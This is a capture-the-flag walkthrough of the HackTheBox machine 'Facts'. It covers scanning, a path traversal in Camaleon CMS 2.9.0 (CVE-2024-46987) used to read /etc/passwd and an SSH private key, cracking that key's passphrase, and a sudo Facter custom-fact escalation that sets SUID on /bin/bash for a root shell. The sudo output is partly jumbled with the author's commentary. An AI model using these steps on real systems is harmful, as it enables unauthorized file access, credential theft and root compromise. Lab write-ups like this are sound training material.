HackTheBox: Facts - Deep Dive into Camaleon CMS LFI & Facter PrivEsc
HackTheBox2026-02-02

HackTheBox: Facts - Deep Dive into Camaleon CMS LFI & Facter PrivEsc

Introduction

Welcome to another deep-dive walkthrough. Today, we're tackling Facts, a medium-rated machine from HackTheBox Season 10. This box provides a fantastic learning opportunity involving CMS exploitation (Camaleon CMS), Path Traversal (LFI) for initial foothold, and a unique privilege escalation vector using Facter, a Ruby-based system profiling tool.

Let's initialize our scan and break through the perimeter.

1. Enumeration & Reconnaissance

As always, we start with a thorough port scan. For this engagement, I'm using tcp-blast, a fast Bash-based TCP scanner I developed.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $tcp-blast -t 10.129.27.59 -p 22,80,443

████████╗ ██████╗ ██████╗       ██████╗ ██╗      █████╗ ███████╗████████╗
╚══██╔══╝██╔════╝ ██╔══██╗      ██╔══██╗██║     ██╔══██╗██╔════╝╚══██╔══╝
   ██║   ██║  ███╗██████╔╝█████╗██████╔╝██║     ███████║███████╗   ██║
   ██║   ██║   ██║██╔═══╝ ╚════╝██╔══██╗██║     ██╔══██║╚════██║   ██║
   ██║   ╚██████╔╝██║           ██████╔╝███████╗██║  ██║███████║   ██║
   ╚═╝    ╚═════╝ ╚═╝           ╚═════╝ ╚══════╝╚═╝  ╚═╝╚══════╝   ╚═╝

tcp-blast v1.1 | Fast Bash TCP Port Scanner
Made By @4nuxd
------------------------------------------------------------------------
[*] Target   : 10.129.27.59
[*] Ports    : 22,80,443
[*] Threads  : 50
[*] Timeout  : 1s
------------------------------------------------------------------------
PORT       SERVICE          STATUS      VERSION/BANNER
------------------------------------------------------------------------
[+] 22     ssh              OPEN
[+] 80     http             OPEN        nginx/1.26.3 (Ubuntu)
------------------------------------------------------------------------
[✓] Success: Found 2 open port(s)
[*] Total scan time: 3 seconds

Tool Used : TCP-BLAST

Results indicate two primary points of interest:

  • Port 22 (SSH): Standard SSH service (OpenSSH).
  • Port 80 (HTTP): Running Nginx 1.26.3 on Ubuntu.

Web Discovery

Upon visiting the IP address on port 80, the application attempts to redirect to http://facts.htb/.

Initial Redirect
[fig_01]: Initial Redirect

I added the mapping to my /etc/hosts file immediately:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $echo "10.129.27.59 facts.htb" | sudo tee -a /etc/hosts
10.129.27.59 facts.htb

Navigating to the hostname reveals a clean, corporate-style landing page.

Landing Page
[fig_01]: Landing Page

2. Foothold: Camaleon CMS Exploitation

A quick directory fuzzing session with ffuf reveals an administrative endpoint.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $ffuf -u http://facts.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 302

/'___\  /'___\           /'___\
/\ \__/ /\ \__/  __  __  /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\   \ \_\  \ \____/  \ \_\
\/_/    \/_/   \/___/    \/_/

v2.1.0-dev
________________________________________________

:: Method           : GET
:: URL              : http://facts.htb/FUZZ
:: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration      : false
:: Timeout          : 10
:: Threads          : 40
:: Matcher          : Response status: 302
________________________________________________

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1520ms]
admin.cgi               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1393ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1354ms]
admin.pl                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1452ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

The /admin path redirects to a login portal.

Admin Login
[fig_01]: Admin Login

I noticed a registration button, which allowed me to create an account and access the dashboard.

Registration
[fig_01]: Registration
Dashboard Access
[fig_01]: Dashboard Access

Once authenticated, the dashboard identifies the engine as Camaleon CMS Version 2.9.0.

Version Detection
[fig_01]: Version Detection

Vulnerability Analysis: CVE-2024-46987

Camaleon CMS v2.9.0 is susceptible to a critical Path Traversal / LFI vulnerability tracked as CVE-2024-46987. The flaw lies in the download_private_file action within the Admin::MediaController. CVE-2024-46987

The Ruby on Rails backend takes the file parameter and concatenates it to a base directory (private/) without proper sanitization. This allows an authenticated attacker to use ../ sequences to escape the web root and read arbitrary files on the system.

Exploiting the LFI

First, let's confirm the LFI by reading /etc/passwd.

TERMINAL_CODE
http://facts.htb/admin/media/download_private_file?file=../../../../../../etc/passwd

The output revealed two relevant users ( i have removed shit part):

  • trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
  • william:x:1001:1001::/home/william:/bin/bash

The common strategy now is to check for SSH private keys in .ssh/id_rsa or .ssh/id_ed25519.

Success! I managed to exfiltrate the SSH key for the user trivia:

TERMINAL_CODE
http://facts.htb/admin/media/download_private_file?file=../../../../../../home/trivia/.ssh/id_ed25519

3. SSH Lateral Movement

With the private key in hand, I saved it to my local machine and set the appropriate permissions.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Facts]
└──╼ $chmod 600 id_ed25519
┌─[g4rxd@parrot]─[~/Desktop/Facts]
└──╼ $ssh -i id_ed25519 trivia@10.129.27.59
The authenticity of host '10.129.27.59 (10.129.27.59)' can't be established.
ED25519 key fingerprint is SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.27.59' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519':
trivia@10.129.27.59's password:

However, the key was protected by a passphrase. I utilized john to crack it using the rockyou.txt wordlist.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Facts]
└──╼ $ssh2john id_ed25519 > trivia-hash 
┌─[g4rxd@parrot]─[~/Desktop/Facts]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt trivia-hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)
1g 0:00:00:32 DONE (2026-02-02 10:27) 0.03042g/s 97.35p/s 97.35c/s 97.35C/s adriano..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Password Cracked: dragonballz

I successfully logged in and retrieved the user flag located in William's home directory.

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Facts]
└──╼ $ssh -i id_ed25519 trivia@10.129.27.59
Enter passphrase for key 'id_ed25519':
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/pro

System information as of Mon Feb  2 04:57:36 AM UTC 2026

System load:           0.0
Usage of /:            72.1% of 7.28GB
Memory usage:          18%
Swap usage:            0%
Processes:             219
Users logged in:       1
IPv4 address for eth0: 10.129.27.59
IPv6 address for eth0: dead:beef::250:56ff:fe94:7906
trivia@facts:~$ ls -la
total 36
drwxr-x--- 6 trivia trivia 4096 Jan 28 16:17 .
drwxr-xr-x 4 root   root   4096 Jan  8 17:53 ..
lrwxrwxrwx 1 root   root      9 Jan 26 11:40 .bash_history -> /dev/null
-rw-r--r-- 1 trivia trivia  220 Aug 20  2024 .bash_logout
-rw-r--r-- 1 trivia trivia 3900 Jan  8 18:19 .bashrc
drwxrwxr-x 3 trivia trivia 4096 Jan  8 18:01 .bundle
drwx------ 2 trivia trivia 4096 Jan  8 18:58 .cache
drwxrwxr-x 3 trivia trivia 4096 Jan  8 17:52 .local
-rw-r--r-- 1 trivia trivia  807 Aug 20  2024 .profile
drwx------ 2 trivia trivia 4096 Feb  1 21:11 .ssh
trivia@facts:~$ pwd
/home/trivia
trivia@facts:~$ cd ..
trivia@facts:/home$ ls
trivia  william
trivia@facts:/home$ cd william
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
56a878f0737ee27[Redacted]

4. Privilege Escalation: Facter Abuse

Checking sudo privileges reveals an interesting entry:

TERMINAL_CODE
trivia@facts:/home/william$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)
trivia@facts:/home/william$ hostname
facts
trivia@facts:/home/william$ uname -r
6.14.0-37-generic
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:We land on facter, Facter is a tool used to gather “facts” about a system. It is written in Ruby. Facter is a tool used to gather “facts” about a system. It is written in Ruby.
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
When you run facter, it looks for custom “fact” files (Ruby scripts) to execute.
User trivia may run the following commands on facts:Since you are running it with sudo, the Ruby scripts it loads will execute with Root privileges.
(ALL) NOPASSWD: /usr/bin/facterEven though env_reset is on (preventing you from using the FACTERLIB environment variable), the binary itself has a command-line flag called -custom-dir that tells it where to look for these scripts.

Facter is a tool used to gather "facts" about a system, typically utilized by Puppet. It is written in Ruby and allows users to define custom facts via Ruby scripts.

The Attack Vector

Even though env_reset is active, we can use the --custom-dir flag. When Facter runs with sudo, it will load any Ruby scripts in the specified custom directory and execute them as root.

I created a malicious Ruby script to update the permissions of /bin/bash with a SUID bit.

TERMINAL_CODE
# 1. Create a directory for our custom fact
$ mkdir /tmp/4nuxd

# 2. Write the exploit script
trivia@facts:/home/william$ echo 'Facter.add(:ouhboy_fact) do setcode { system("chmod +s /bin/bash") } end' > /tmp/4nuxd/root.rb

#3. Run facter with sudo pointing to our malicious directory
trivia@facts:/home/william$ sudo /usr/bin/facter --custom-dir=/tmp/4nuxd/ ouhboy_fact
true
#4. After execution, `/bin/bash` now has the SUID bit set.
trivia@facts:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1740896 Mar  5  2025 /bin/bash

Final Root Access

I claimed the root shell using bash -p:

TERMINAL_CODE
trivia@facts:~$ bash -p
bash-5.2# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)
bash-5.2# cat /root/root.txt
154ee28d5540020ce913b7[Redacted]

Conclusion

Facts was an excellent box that demonstrated the dangers of Path Traversal in CMS media controllers and the potential for misconfigured administrative tools like Facter to lead to full system compromise.

If you have any questions or want to discuss this walkthrough, feel free to reach out via Twitter or use the interactive terminal on this site!

Mission Accomplished. 🏁

Disseminate_Intel:
Tags
##HTB##CamaleonCMS##LFI##CVE-2024-46987##Facter##PrivEsc

Transmission Complete

If you found this writeup helpful, feel free to reach out for collaborations or security discussions.

INITIATE_CONTACT